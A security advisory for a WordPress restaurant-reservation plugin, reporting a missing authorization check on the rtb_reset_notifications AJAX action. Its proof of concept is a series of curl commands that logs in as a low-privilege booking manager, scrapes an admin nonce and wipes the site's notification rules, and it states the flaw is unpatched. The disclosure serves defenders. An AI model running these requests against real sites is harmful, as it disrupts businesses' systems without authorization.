Five Star Restaurant Reservations < 2.7.23 – Booking Manager+ Missing Authorization via rtb_reset_notifications | CVE 2026-15151

Description

The plugin does not perform a capability check on one of its AJAX actions, allowing users with the lowest booking-management role (which by default cannot access the plugin's settings) to reset the site's configured booking notification rules.

Proof of Concept

As a user holding the plugin's "Booking Manager" role (read + manage_bookings, but NOT
manage_options):

1. Confirm this user CANNOT reach the settings page (returns 403):
   curl -s -c cookies.txt -X POST 'https://victim.example/wp-login.php' \
     --data 'log=BOOKING_MANAGER&pwd=PASSWORD&wp-submit=Log+In&testcookie=1' -o /dev/null
   curl -s -b cookies.txt -o /dev/null -w "settings page: %{http_code}\n" \
     'https://victim.example/wp-admin/admin.php?page=rtb-settings'          # -> 403

2. Read the rtb-admin nonce from the bookings page (this role CAN reach it):
   NONCE=$(curl -s -b cookies.txt 'https://victim.example/wp-admin/admin.php?page=rtb-bookings' \
     | grep -o 'rtb_admin = {"nonce":"[a-f0-9]*"' | grep -o '[a-f0-9]\{8,\}')

3. Wipe every configured booking-notification rule (no capability check stops it):
   curl -s -b cookies.txt -X POST 'https://victim.example/wp-admin/admin-ajax.php' \
     --data "action=rtb_reset_notifications&nonce=${NONCE}" -w "\nHTTP %{http_code}\n"   # -> 200

Result: the plugin's booking-notification rules are reset to null; the restaurant's
automated notification workflow is disabled by a user who cannot legitimately open
Settings. Unfixed through the current version (2.7.22).